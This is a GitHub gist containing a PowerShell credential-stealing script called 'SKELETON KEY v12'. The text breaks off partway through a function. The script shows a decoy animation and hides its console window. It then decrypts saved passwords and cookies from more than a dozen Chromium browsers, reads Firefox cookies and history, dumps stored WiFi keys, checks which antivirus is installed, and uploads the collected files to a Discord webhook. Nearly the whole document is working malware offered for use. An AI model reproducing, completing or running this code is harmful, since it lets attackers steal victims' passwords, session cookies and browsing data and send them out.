Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save Gravity3432/889ce61416743b7cd5b8c27d28e9b9eb to your computer and use it in GitHub Desktop.

Select an option

Save Gravity3432/889ce61416743b7cd5b8c27d28e9b9eb to your computer and use it in GitHub Desktop.
# ============================================================
# SKELETON KEY v12 — Rebuilt from working reference
# Unicode SQLite + BCrypt GCM fix + hardcoded columns
# ============================================================
if (!$DiscordUrl) { $DiscordUrl = 'YOUR_DISCORD_WEBHOOK_HERE' }
try {
$skTemp = "$env:TEMP\sk-$([Guid]::NewGuid().ToString('n').Substring(0,6))"
$skSig = "$env:TEMP\sk_done.sig"
$skOut = "$skTemp\out"
$skLog = "$skTemp\log.txt"
Remove-Item $skSig -Force -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Path $skOut -Force -ErrorAction Stop | Out-Null
'' | Out-File $skLog -Force -Encoding ASCII
} catch {
'' | Out-File "$env:TEMP\sk_done.sig" -Force -Encoding ASCII
exit
}
function sklog($msg) {
"$(Get-Date -Format 'HH:mm:ss') $msg" | Out-File $skLog -Append -Encoding ASCII
}
sklog "=== SKELETON KEY v12 START ==="
sklog "Temp: $skTemp"
sklog "User: $env:USERNAME / Host: $env:COMPUTERNAME"
# ==================== 1. LAUNCH ANIMATION (independent process) ====================
sklog "Writing animation batch..."
$animBat = @'
@echo off
title SKELETON KEY
setlocal enabledelayedexpansion
set "sig=%TEMP%\sk_done.sig"
:loop
color 0A
cls
echo.
echo.
echo .-'''-.
echo ' _ \
echo / /` '. \
echo . | \ ' __.....__
echo | ' | ' .-'' '.
echo .-'''-. \ \ / / / .-''"'-. `.
echo ' _ \ `. ` ..' / / /________\ \
echo / /` '. \ '-...-'` | |
echo . | \ ' \ .-------------'
echo | ' | ' \ '-.____...---.
echo \ \ / / . `. .'
echo `. ` ..' / .-. ' . `''-...... -'
echo '-...-'` \ \ /
echo \ \ /
echo ==========================================
echo SKELETON KEY v2.0
echo ==========================================
echo.
timeout /t 1 /nobreak >nul
if exist "%sig%" exit
color 02
cls
echo.
echo.
echo .-'''-.
echo ' _ \
echo / /` '. \
echo . | \ ' __.....__
echo | ' | ' .-'' '.
echo .-'''-. \ \ / / / .-''"'-. `.
echo ' _ \ `. ` ..' / / /________\ \
echo / /` '. \ '-...-'` | |
echo . | \ ' \ .-------------'
echo | ' | ' \ '-.____...---.
echo \ \ / / . `. .'
echo `. ` ..' / .-. ' . `''-...... -'
echo '-...-'` \ \ /
echo \ \ /
echo ==========================================
echo SKELETON KEY v2.0
echo ==========================================
echo.
timeout /t 1 /nobreak >nul
if exist "%sig%" exit
color A0
cls
echo.
echo.
echo .-'''-.
echo ' _ \
echo / /` '. \
echo . | \ ' __.....__
echo | ' | ' .-'' '.
echo .-'''-. \ \ / / / .-''"'-. `.
echo ' _ \ `. ` ..' / / /________\ \
echo / /` '. \ '-...-'` | |
echo . | \ ' \ .-------------'
echo | ' | ' \ '-.____...---.
echo \ \ / / . `. .'
echo `. ` ..' / .-. ' . `''-...... -'
echo '-...-'` \ \ /
echo \ \ /
echo ==========================================
echo SKELETON KEY v2.0
echo ==========================================
echo.
timeout /t 1 /nobreak >nul
if exist "%sig%" exit
color 0A
cls
echo.
echo.
echo .-'''-. .-'''-.
echo ' _ \ ' _ \
echo / /` '. \ / /` '. \
echo . | \ ' . | \ ' __.....__
echo | ' | '| ' | '.-'' '.
echo .-'''-. \ \ / / \ \ / // .-''"'-. `.
echo ' _ \ `. ` ..' / `. ` ..' // /________\ \
echo / /` '. \ '-...-'` '-...-'` | |
echo . | \ ' \ .------------'
echo | ' | ' \ '-.____...---.
echo \ \ / / . `. .'
echo `. ` ..' / .-. ' . `''-...... -'
echo '-...-'` \ \ /
echo \ \ /
echo ==========================================
echo SKELETON KEY v2.0
echo ==========================================
echo.
timeout /t 1 /nobreak >nul
if exist "%sig%" exit
color 00
cls
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo * * * * * * * * * * *
echo * *
echo * SKELETON KEY *
echo * *
echo * * * * * * * * * * *
echo.
echo.
echo.
echo.
echo.
timeout /t 1 /nobreak >nul
if exist "%sig%" exit
color 0A
cls
echo.
echo.
echo .-'''-.
echo ' _ \
echo / /` '. \
echo . | \ ' __.....__
echo | ' | ' .-'' '.
echo .-'''-. \ \ / / / .-''"'-. `.
echo ' _ \ `. ` ..' / / /________\ \
echo / /` '. \ '-...-'` | |
echo . | \ ' \ .-------------'
echo | ' | ' \ '-.____...---.
echo \ \ / / . `. .'
echo `. ` ..' / .-. ' . `''-...... -'
echo '-...-'` \ \ /
echo \ \ /
echo ==========================================
echo SKELETON KEY v2.0
echo ==========================================
echo.
timeout /t 1 /nobreak >nul
if exist "%sig%" exit
color A0
cls
echo.
echo.
echo .-'''-.
echo ' _ \
echo / /` '. \
echo . | \ ' __.....__
echo | ' | ' .-'' '.
echo .-'''-. \ \ / / / .-''"'-. `.
echo ' _ \ `. ` ..' / / /________\ \
echo / /` '. \ '-...-'` | |
echo . | \ ' \ .-------------'
echo | ' | ' \ '-.____...---.
echo \ \ / / . `. .'
echo `. ` ..' / .-. ' . `''-...... -'
echo '-...-'` \ \ /
echo \ \ /
echo ==========================================
echo SKELETON KEY v2.0
echo ==========================================
echo.
timeout /t 1 /nobreak >nul
if exist "%sig%" exit
color 02
cls
echo.
echo.
echo .-'''-. .-'''-.
echo ' _ \ ' _ \
echo / /` '. \ / /` '. \
echo . | \ ' . | \ ' __.....__
echo | ' | '| ' | '.-'' '.
echo .-'''-. \ \ / / \ \ / // .-''"'-. `.
echo ' _ \ `. ` ..' / `. ` ..' // /________\ \
echo / /` '. \ '-...-'` '-...-'` | |
echo . | \ ' \ .------------'
echo | ' | ' \ '-.____...---.
echo \ \ / / . `. .'
echo `. ` ..' / .-. ' . `''-...... -'
echo '-...-'` \ \ /
echo \ \ /
echo ==========================================
echo SKELETON KEY v2.0
echo ==========================================
echo.
timeout /t 1 /nobreak >nul
if exist "%sig%" exit
goto loop
'@
$animPath = "$skTemp\anim.bat"
[System.IO.File]::WriteAllText($animPath, $animBat, [System.Text.Encoding]::ASCII)
sklog "Anim written: $((Get-Item $animPath).Length) bytes"
sklog "Launching animation (independent)..."
$psi = New-Object System.Diagnostics.ProcessStartInfo
$psi.FileName = 'cmd.exe'
$psi.Arguments = "/c `"$animPath`""
$psi.UseShellExecute = $true
$psi.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Normal
$animProc = [System.Diagnostics.Process]::Start($psi)
sklog "Animation PID: $($animProc.Id)"
Start-Sleep -Milliseconds 1000
# ==================== 2. HIDE POWERSHELL WINDOW ====================
sklog "Hiding PowerShell window..."
Add-Type @'
using System;
using System.Runtime.InteropServices;
public class SKHide {
[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow();
}
'@
[SKHide]::ShowWindow([SKHide]::GetConsoleWindow(), 0)
# ==================== 3. WinSQLite3 — UNICODE APIs (from working gist) ====================
sklog "Loading WinSQLite3 (Unicode)..."
Add-Type @"
using System;
using System.Runtime.InteropServices;
public static class WinSQLite3 {
const string d = "winsqlite3";
[DllImport(d,EntryPoint="sqlite3_open")]
public static extern IntPtr Open([MarshalAs(UnmanagedType.LPStr)]string f, out IntPtr db);
[DllImport(d,EntryPoint="sqlite3_prepare16_v2")]
public static extern IntPtr Prepare2(IntPtr db, [MarshalAs(UnmanagedType.LPWStr)] string s, int n, out IntPtr stmt, IntPtr t);
[DllImport(d,EntryPoint="sqlite3_step")]
public static extern IntPtr Step(IntPtr stmt);
[DllImport(d,EntryPoint="sqlite3_column_text16")]
static extern IntPtr ColTxt16(IntPtr s, int i);
[DllImport(d,EntryPoint="sqlite3_column_bytes")]
static extern int ColBytes(IntPtr s, int i);
[DllImport(d,EntryPoint="sqlite3_column_blob")]
static extern IntPtr ColBlob(IntPtr s, int i);
[DllImport(d,EntryPoint="sqlite3_column_int64")]
static extern long ColInt64(IntPtr s, int i);
[DllImport(d,EntryPoint="sqlite3_finalize")]
public static extern IntPtr Finalize(IntPtr s);
[DllImport(d,EntryPoint="sqlite3_close")]
public static extern IntPtr Close(IntPtr db);
public static string ColStr(IntPtr s, int i) { return Marshal.PtrToStringUni(ColTxt16(s,i)); }
public static byte[] ColByt(IntPtr s, int i) { int l = ColBytes(s,i); byte[] r = new byte[l]; if(l>0) Marshal.Copy(ColBlob(s,i), r, 0, l); return r; }
public static long ColLng(IntPtr s, int i) { return ColInt64(s,i); }
}
"@
sklog "WinSQLite3 OK"
# ==================== 4. BCrypt AES-GCM — v12 fix ====================
sklog "Loading BCryptAES..."
Add-Type -AssemblyName System.Security
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class BCryptAES {
[StructLayout(LayoutKind.Sequential)]
public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO {
public int cbSize;
public int dwInfoVersion;
public IntPtr pbNonce;
public int cbNonce;
public IntPtr pbAuthData;
public int cbAuthData;
public IntPtr pbTag;
public int cbTag;
public IntPtr pbMacContext;
public int cbMacContext;
public int cbAAD;
public long cbData;
public int dwFlags;
}
[DllImport("bcrypt.dll", CharSet=CharSet.Unicode)]
public static extern int BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, int dwFlags);
[DllImport("bcrypt.dll", CharSet=CharSet.Unicode)]
public static extern int BCryptSetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags);
[DllImport("bcrypt.dll", CharSet=CharSet.Unicode)]
public static extern int BCryptGenerateSymmetricKey(IntPtr hAlgorithm, out IntPtr phKey, byte[] pbKeyObject, int cbKeyObject, byte[] pbSecret, int cbSecret, int dwFlags);
[DllImport("bcrypt.dll", CharSet=CharSet.Unicode)]
public static extern int BCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, out int pcbResult, int dwFlags);
[DllImport("bcrypt.dll", CharSet=CharSet.Unicode)]
public static extern int BCryptDestroyKey(IntPtr hKey);
[DllImport("bcrypt.dll", CharSet=CharSet.Unicode)]
public static extern int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, int dwFlags);
}
"@
sklog "BCryptAES OK"
# ==================== 5. HELPER: Query-SQLite (hardcoded positional) ====================
function Query-SQLiteRaw {
param([string]$DbPath, [string]$Query, [int]$ColCount)
$rows = @()
$db = [IntPtr]::Zero
if ([WinSQLite3]::Open($DbPath, [ref]$db) -ne [IntPtr]::Zero) {
sklog " SQLite open FAIL: $DbPath"
return $rows
}
try {
$stmt = [IntPtr]::Zero
if ([WinSQLite3]::Prepare2($db, $Query, -1, [ref]$stmt, [IntPtr]::Zero) -ne [IntPtr]::Zero) {
sklog " SQLite prepare FAIL"
return $rows
}
try {
while ([WinSQLite3]::Step($stmt) -eq [IntPtr]::Zero) {
$row = New-Object object[] $ColCount
for ($i = 0; $i -lt $ColCount; $i++) {
$row[$i] = [WinSQLite3]::ColByt($stmt, $i)
}
$rows += ,$row
}
} finally { [WinSQLite3]::Finalize($stmt) | Out-Null }
} finally { [WinSQLite3]::Close($db) | Out-Null }
return $rows
}
function Get-ChromiumKey {
param([string]$UserDataPath)
$localStatePath = Join-Path $UserDataPath 'Local State'
if (!(Test-Path $localStatePath)) { sklog " No Local State: $localStatePath"; return $null }
try {
$localState = Get-Content $localStatePath -Raw -ErrorAction Stop | ConvertFrom-Json
$b64Key = $localState.os_crypt.encrypted_key
if (!$b64Key) { sklog " No os_crypt.encrypted_key"; return $null }
$encKey = [Convert]::FromBase64String($b64Key)
if ($encKey.Length -le 5) { return $null }
$encKey = $encKey[5..($encKey.Length-1)]
$key = [System.Security.Cryptography.ProtectedData]::Unprotect($encKey, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
return $key
} catch { sklog " Key ERROR: $_"; return $null }
}
function Decrypt-ChromiumBlob {
param([byte[]]$aesKey, [byte[]]$blob)
if ($null -eq $blob -or $blob.Length -le 15) { return '' }
$prefix = [System.Text.Encoding]::ASCII.GetString($blob[0..2])
if ($prefix -notmatch '^v1[0-9]$') {
try { return [System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($blob, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)) } catch { return '' }
}
try {
$nonce = [byte[]]($blob[3..14])
$ciphertext = [byte[]]($blob[15..($blob.Length - 17)])
$tag = [byte[]]($blob[($blob.Length - 16)..($blob.Length - 1)])
$algPtr = [IntPtr]::Zero
if ([BCryptAES]::BCryptOpenAlgorithmProvider([ref]$algPtr, 'AES', $null, 0) -ne 0) { return '' }
try {
[BCryptAES]::BCryptSetProperty($algPtr, 'ChainingMode', [System.Text.Encoding]::Unicode.GetBytes('ChainingModeGCM'), [System.Text.Encoding]::Unicode.GetBytes('ChainingModeGCM').Length, 0) | Out-Null
$keyBuf = New-Object byte[] 32
$keyPtr = [IntPtr]::Zero
[BCryptAES]::BCryptGenerateSymmetricKey($algPtr, [ref]$keyPtr, $keyBuf, $keyBuf.Length, $aesKey, $aesKey.Length, 0) | Out-Null
try {
$gcmInfo = New-Object BCryptAES+BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO
$gcmInfo.cbSize = [System.Runtime.InteropServices.Marshal]::SizeOf($gcmInfo)
$gcmInfo.dwInfoVersion = 1
$gcmInfo.pbNonce = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(12)
[System.Runtime.InteropServices.Marshal]::Copy($nonce, 0, $gcmInfo.pbNonce, 12)
$gcmInfo.cbNonce = 12
$gcmInfo.pbTag = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(16)
[System.Runtime.InteropServices.Marshal]::Copy($tag, 0, $gcmInfo.pbTag, 16)
$gcmInfo.cbTag = 16
try {
$outBuf = New-Object byte[] $ciphertext.Length
$outLen = 0
$rc = [BCryptAES]::BCryptDecrypt($keyPtr, $ciphertext, $ciphertext.Length, [ref]$gcmInfo, $null, 0, $outBuf, $outBuf.Length, [ref]$outLen, 0)
if ($rc -eq 0 -and $outLen -gt 0) {
return [System.Text.Encoding]::UTF8.GetString($outBuf[0..($outLen-1)])
}
} finally {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($gcmInfo.pbNonce)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($gcmInfo.pbTag)
}
} finally { [BCryptAES]::BCryptDestroyKey($keyPtr) | Out-Null }
} finally { [BCryptAES]::BCryptCloseAlgorithmProvider($algPtr, 0) | Out-Null }
} catch { return '' }
return ''
}
function Convert-ChromiumTime {
param([long]$microseconds)
if ($microseconds -le 0) { return 'N/A' }
try { return [DateTime]::FromFileTimeUtc($microseconds * 10L).ToString('yyyy-MM-dd HH:mm:ss') } catch { return 'N/A' }
}
function Get-FirefoxProfilePath {
$ffDir = Join-Path $env:APPDATA 'Mozilla\Firefox\Profiles'
if (!(Test-Path $ffDir)) { return $null }
$profiles = Get-ChildItem $ffDir -Directory -ErrorAction SilentlyContinue | Where-Object { $_.Name -match '\.default' -or $_.Name -match '\.default-release' }
if ($profiles) { return $profiles[0].FullName }
$allProf = Get-ChildItem $ffDir -Directory -ErrorAction SilentlyContinue
if ($allProf) { return $allProf[0].FullName }
return $null
}
# ==================== 6. BROWSER LIST ====================
$ChromiumBrowsers = @(
@{Name='Chrome'; Path="$env:LOCALAPPDATA\Google\Chrome\User Data"},
@{Name='Chrome Beta'; Path="$env:LOCALAPPDATA\Google\Chrome Beta\User Data"},
@{Name='Edge'; Path="$env:LOCALAPPDATA\Microsoft\Edge\User Data"},
@{Name='Brave'; Path="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data"},
@{Name='Opera'; Path="$env:APPDATA\Opera Software\Opera Stable"},
@{Name='Opera GX'; Path="$env:APPDATA\Opera Software\Opera GX Stable"},
@{Name='Vivaldi'; Path="$env:LOCALAPPDATA\Vivaldi\User Data"},
@{Name='Chromium'; Path="$env:LOCALAPPDATA\Chromium\User Data"},
@{Name='Yandex'; Path="$env:LOCALAPPDATA\Yandex\YandexBrowser\User Data"},
@{Name='360Browser'; Path="$env:LOCALAPPDATA\360Chrome\Chrome\User Data"},
@{Name='Comodo Dragon'; Path="$env:LOCALAPPDATA\Comodo\Dragon\User Data"},
@{Name='Epic'; Path="$env:LOCALAPPDATA\Epic Privacy Browser\User Data"},
@{Name='Iridium'; Path="$env:LOCALAPPDATA\Iridium\User Data"},
@{Name='Slimjet'; Path="$env:LOCALAPPDATA\Slimjet\User Data"},
@{Name='UR'; Path="$env:LOCALAPPDATA\UR Browser\User Data"},
@{Name='CocCoc'; Path="$env:LOCALAPPDATA\CocCoc\Browser\User Data"}
)
function Get-ChromiumProfiles {
param([string]$BasePath)
$profiles = @()
$defaultProfile = Join-Path $BasePath 'Default'
if (Test-Path $defaultProfile) { $profiles += $defaultProfile }
$num = 1
while (Test-Path (Join-Path $BasePath "Profile $num")) {
$profiles += Join-Path $BasePath "Profile $num"
$num++
}
return $profiles
}
# ==================== 7. PASSWORD SCRAPER (v12: positional columns + Unicode SQLite) ====================
function Get-ChromiumPasswords {
param([string]$BrowserName, [string]$UserDataPath)
$out = @()
$aesKey = Get-ChromiumKey -UserDataPath $UserDataPath
if (!$aesKey) { return $out }
foreach ($profile in (Get-ChromiumProfiles $UserDataPath)) {
$loginDb = Join-Path $profile 'Login Data'
if (!(Test-Path $loginDb)) { continue }
$tmpDb = "$skTemp\pw_$($BrowserName)_$(Split-Path $profile -Leaf).db"
try {
try { Copy-Item $loginDb $tmpDb -Force -ErrorAction Stop }
catch { [System.IO.File]::WriteAllBytes($tmpDb, [System.IO.File]::ReadAllBytes($loginDb)) }
$rows = Query-SQLiteRaw $tmpDb "SELECT origin_url, username_value, password_value FROM logins" 3
sklog " $BrowserName logins DB: $($rows.Count) rows"
$cnt = 0; $decFail = 0
foreach ($r in $rows) {
$urlBytes = $r[0]
$userBytes = $r[1]
$passBytes = $r[2]
$url = if ($urlBytes) { [System.Text.Encoding]::UTF8.GetString($urlBytes) } else { '' }
$user = if ($userBytes) { [System.Text.Encoding]::UTF8.GetString($userBytes) } else { '' }
if ($passBytes -and $passBytes.Length -gt 0) {
$pw = Decrypt-ChromiumBlob -aesKey $aesKey -blob $passBytes
if ($pw) {
$out += [PSCustomObject]@{Url=$url; Username=$user; Password=$pw; Browser=$BrowserName}
$cnt++
} else { $decFail++ }
}
}
sklog " Passwords: $BrowserName = $cnt decrypted, $decFail failed"
} catch { sklog "PASSWORD ERROR ($BrowserName): $_" }
Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue
}
return $out
}
# ==================== 8. COOKIE SCRAPER (v12: positional) ====================
function Get-ChromiumCookies {
param([string]$BrowserName, [string]$UserDataPath)
$out = @()
$aesKey = Get-ChromiumKey -UserDataPath $UserDataPath
if (!$aesKey) { return $out }
foreach ($profile in (Get-ChromiumProfiles $UserDataPath)) {
$cookieDb = Join-Path $profile 'Network\Cookies'
if (!(Test-Path $cookieDb)) { $cookieDb = Join-Path $profile 'Cookies' }
if (!(Test-Path $cookieDb)) { continue }
$tmpDb = "$skTemp\ck_$($BrowserName)_$(Split-Path $profile -Leaf).db"
try {
try { Copy-Item $cookieDb $tmpDb -Force -ErrorAction Stop }
catch { [System.IO.File]::WriteAllBytes($tmpDb, [System.IO.File]::ReadAllBytes($cookieDb)) }
$rows = Query-SQLiteRaw $tmpDb "SELECT host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly FROM cookies" 7
$cnt = 0
foreach ($r in $rows) {
$hostB = $r[0]; $nameB = $r[1]; $encB = $r[2]; $pathB = $r[3]
$expRaw = [BitConverter]::ToInt64($r[4], 0) # BLOB → int64
$secB = $r[5]; $httpB = $r[6]
$host = if ($hostB) { [System.Text.Encoding]::UTF8.GetString($hostB) } else { '' }
$name = if ($nameB) { [System.Text.Encoding]::UTF8.GetString($nameB) } else { '' }
$path = if ($pathB) { [System.Text.Encoding]::UTF8.GetString($pathB) } else { '/' }
$val = if ($encB -and $encB.Length -gt 0) { Decrypt-ChromiumBlob -aesKey $aesKey -blob $encB } else { '' }
$exp = if ($expRaw -gt 0) { Convert-ChromiumTime $expRaw } else { 'Session' }
$secure = if ($secB -and $secB.Length -gt 0 -and $secB[0] -ne 0) { 'TRUE' } else { 'FALSE' }
$httponly = if ($httpB -and $httpB.Length -gt 0 -and $httpB[0] -ne 0) { 'TRUE' } else { 'FALSE' }
$out += [PSCustomObject]@{
Host=$host; Name=$name; Value=if($val){$val}else{'[empty]'}; Path=$path
Expires=$exp; Secure=$secure; HttpOnly=$httponly
}
$cnt++
}
sklog "Cookies: $BrowserName = $cnt entries"
} catch { sklog "COOKIE ERROR ($BrowserName): $_" }
Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue
}
return $out
}
# ==================== 9. HISTORY SCRAPER (v12: positional) ====================
function Get-ChromiumHistory {
param([string]$BrowserName, [string]$UserDataPath)
$out = @()
foreach ($profile in (Get-ChromiumProfiles $UserDataPath)) {
$histDb = Join-Path $profile 'History'
if (!(Test-Path $histDb)) { continue }
$tmpDb = "$skTemp\hi_$($BrowserName)_$(Split-Path $profile -Leaf).db"
try {
try { Copy-Item $histDb $tmpDb -Force -ErrorAction Stop }
catch { [System.IO.File]::WriteAllBytes($tmpDb, [System.IO.File]::ReadAllBytes($histDb)) }
$rows = Query-SQLiteRaw $tmpDb "SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 500" 4
$cnt = 0
foreach ($r in $rows) {
$urlB = $r[0]; $titleB = $r[1]; $vcB = $r[2]; $lvtB = $r[3]
$url = if ($urlB) { [System.Text.Encoding]::UTF8.GetString($urlB) } else { '' }
$title = if ($titleB) { [System.Text.Encoding]::UTF8.GetString($titleB) } else { '' }
$vc = if ($vcB -and $vcB.Length -ge 4) { [BitConverter]::ToInt32($vcB, 0) } else { 0 }
$lvt = if ($lvtB -and $lvtB.Length -ge 8) { [BitConverter]::ToInt64($lvtB, 0) } else { 0 }
$out += [PSCustomObject]@{
Url=$url; Title=$title; Visits=$vc; LastVisit=(Convert-ChromiumTime $lvt)
}
$cnt++
}
sklog "History: $BrowserName = $cnt entries"
} catch { sklog "HISTORY ERROR ($BrowserName): $_" }
Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue
}
return $out
}
# ==================== 10. FIREFOX SCRAPERS ====================
function Get-FirefoxPasswords {
$ffProfile = Get-FirefoxProfilePath
if (!$ffProfile) { return @() }
$loginsPath = Join-Path $ffProfile 'logins.json'
if (!(Test-Path $loginsPath)) { return @() }
try {
$loginsJson = Get-Content $loginsPath -Raw -ErrorAction Stop | ConvertFrom-Json
$out = @()
foreach ($login in $loginsJson.logins) {
$out += [PSCustomObject]@{Url=$login.hostname; Username=$login.encryptedUsername; Password='[NSS encrypted]'; Browser='Firefox'}
}
sklog "Firefox passwords: $($out.Count)"
return $out
} catch { sklog "Firefox passwords ERROR: $_"; return @() }
}
function Get-FirefoxCookies {
$ffProfile = Get-FirefoxProfilePath
if (!$ffProfile) { return @() }
$cookieDb = Join-Path $ffProfile 'cookies.sqlite'
if (!(Test-Path $cookieDb)) { return @() }
$tmpDb = "$skTemp\ff_cookies.db"
try {
try { Copy-Item $cookieDb $tmpDb -Force -ErrorAction Stop }
catch { [System.IO.File]::WriteAllBytes($tmpDb, [System.IO.File]::ReadAllBytes($cookieDb)) }
$rows = Query-SQLiteRaw $tmpDb "SELECT host, name, value, path, expiry, isSecure, isHttpOnly FROM moz_cookies ORDER BY expiry DESC LIMIT 1000" 7
$out = @()
foreach ($r in $rows) {
$hostB = $r[0]; $nameB = $r[1]; $valB = $r[2]; $pathB = $r[3]; $expB = $r[4]; $secB = $r[5]; $httpB = $r[6]
$host = if ($hostB) { [System.Text.Encoding]::UTF8.GetString($hostB) } else { '' }
$name = if ($nameB) { [System.Text.Encoding]::UTF8.GetString($nameB) } else { '' }
$val = if ($valB) { [System.Text.Encoding]::UTF8.GetString($valB) } else { '[empty]' }
$path = if ($pathB) { [System.Text.Encoding]::UTF8.GetString($pathB) } else { '/' }
$expRaw = if ($expB -and $expB.Length -ge 4) { [BitConverter]::ToInt32($expB, 0) } else { 0 }
$exp = if ($expRaw -gt 0) { ([DateTime]::new(1970,1,1,0,0,0,[System.DateTimeKind]::Utc)).AddSeconds($expRaw).ToString('yyyy-MM-dd HH:mm:ss') } else { 'Session' }
$secure = if ($secB -and $secB.Length -gt 0 -and $secB[0] -ne 0) { 'TRUE' } else { 'FALSE' }
$httponly = if ($httpB -and $httpB.Length -gt 0 -and $httpB[0] -ne 0) { 'TRUE' } else { 'FALSE' }
$out += [PSCustomObject]@{Host=$host; Name=$name; Value=$val; Path=$path; Expires=$exp; Secure=$secure; HttpOnly=$httponly}
}
sklog "Firefox cookies: $($out.Count)"
return $out
} catch { sklog "Firefox cookies ERROR: $_"; return @() }
finally { Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue }
}
function Get-FirefoxHistory {
$ffProfile = Get-FirefoxProfilePath
if (!$ffProfile) { return @() }
$placesDb = Join-Path $ffProfile 'places.sqlite'
if (!(Test-Path $placesDb)) { return @() }
$tmpDb = "$skTemp\ff_history.db"
try {
try { Copy-Item $placesDb $tmpDb -Force -ErrorAction Stop }
catch { [System.IO.File]::WriteAllBytes($tmpDb, [System.IO.File]::ReadAllBytes($placesDb)) }
$rows = Query-SQLiteRaw $tmpDb "SELECT url, title, visit_count, last_visit_date FROM moz_places ORDER BY last_visit_date DESC LIMIT 500" 4
$out = @()
foreach ($r in $rows) {
$urlB = $r[0]; $titleB = $r[1]; $vcB = $r[2]; $lvdB = $r[3]
$url = if ($urlB) { [System.Text.Encoding]::UTF8.GetString($urlB) } else { '' }
$title = if ($titleB) { [System.Text.Encoding]::UTF8.GetString($titleB) } else { '' }
$vc = if ($vcB -and $vcB.Length -ge 4) { [BitConverter]::ToInt32($vcB, 0) } else { 0 }
$lvd = if ($lvdB -and $lvdB.Length -ge 8) { [BitConverter]::ToInt64($lvdB, 0) } else { 0 }
$lastVisit = if ($lvd -gt 0) { ([DateTime]::new(1970,1,1,0,0,0,[System.DateTimeKind]::Utc)).AddSeconds($lvd / 1000000).ToString('yyyy-MM-dd HH:mm:ss') } else { 'N/A' }
$out += [PSCustomObject]@{Url=$url; Title=$title; Visits=$vc; LastVisit=$lastVisit}
}
sklog "Firefox history: $($out.Count)"
return $out
} catch { sklog "Firefox history ERROR: $_"; return @() }
finally { Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue }
}
# ==================== 11. WIFI + AV ====================
function Get-WiFi {
sklog "Scanning WiFi..."
$out = @()
try {
$profiles = netsh wlan show profiles | Select-String ':\s+(.+)$' | ForEach-Object { $_.Matches.Groups[1].Value }
foreach ($ssid in $profiles) {
try {
$detail = netsh wlan show profile name="$ssid" key=clear | Select-String 'Key Content\s+:\s+(.+)$'
$key = if ($detail) { $detail.Matches.Groups[1].Value } else { '[OPEN]' }
$out += [PSCustomObject]@{SSID=$ssid; Password=$key}
} catch {}
}
sklog "WiFi: $($out.Count) profiles"
} catch { sklog "WiFi ERROR: $_" }
return $out
}
function Get-AVInfo {
try {
$av = Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue
if ($av) { return ($av | ForEach-Object { "$($_.displayName) (State: $($_.productState))" }) -join " | " }
} catch {}
try {
$status = Get-MpComputerStatus -ErrorAction SilentlyContinue
if ($status) { return "Windows Defender (RealTime: $($status.RealTimeProtectionEnabled))" }
} catch {}
return 'Unknown'
}
# ==================== 12. DISCORD UPLOAD ====================
function Send-ToDiscord {
param([string]$FilePath, [string]$Description)
if (!(Test-Path $FilePath)) { sklog "Upload skip: $FilePath"; return }
if (!$DiscordUrl -or $DiscordUrl -eq 'YOUR_DISCORD_WEBHOOK_HERE') { sklog "Upload skip (no webhook)"; return }
$boundary = [Guid]::NewGuid().ToString()
$lf = "`r`n"
$bodyStart = @"
--$boundary
Content-Disposition: form-data; name="payload_json"
{"content":"**SKELETON KEY** -- $Description","username":"Skeleton Key"}
--$boundary
Content-Disposition: form-data; name="file"; filename="$(Split-Path $FilePath -Leaf)"
"@
$bodyEnd = "`r`n--$boundary--`r`n"
$bodyBytes = [System.Text.Encoding]::UTF8.GetBytes($bodyStart)
$fileBytes = [System.IO.File]::ReadAllBytes($FilePath)
$endBytes = [System.Text.Encoding]::UTF8.GetBytes($bodyEnd)
$fullBody = New-Object byte[] ($bodyBytes.Length + $fileBytes.Length + $endBytes.Length)
[Buffer]::BlockCopy($bodyBytes, 0, $fullBody, 0, $bodyBytes.Length)
[Buffer]::BlockCopy($fileBytes, 0, $fullBody, $bodyBytes.Length, $fileBytes.Length)
[Buffer]::BlockCopy($endBytes, 0, $fullBody, $bodyBytes.Length + $fileBytes.Length, $endBytes.Length)
try {
Invoke-RestMethod -Uri $DiscordUrl -Method Post -ContentType "multipart/form-data; boundary=$boundary" -Body $fullBody -TimeoutSec 30 | Out-Null
sklog "Uploaded: $Description"
} catch { sklog "Upload FAIL: $_" }
}
function Write-ResultsFile {
param([string]$FileName, [array]$Data, [string]$Header)
$path = Join-Path $skOut $FileName
$lines = @()
if ($Header) { $lines += $Header }
if ($Data -and $Data.Count -gt 0) {
$lines += ($Data | ForEach-Object { $_ | Out-String }) -replace '\s+$',''
} else {
$lines += '[No data found]'
}
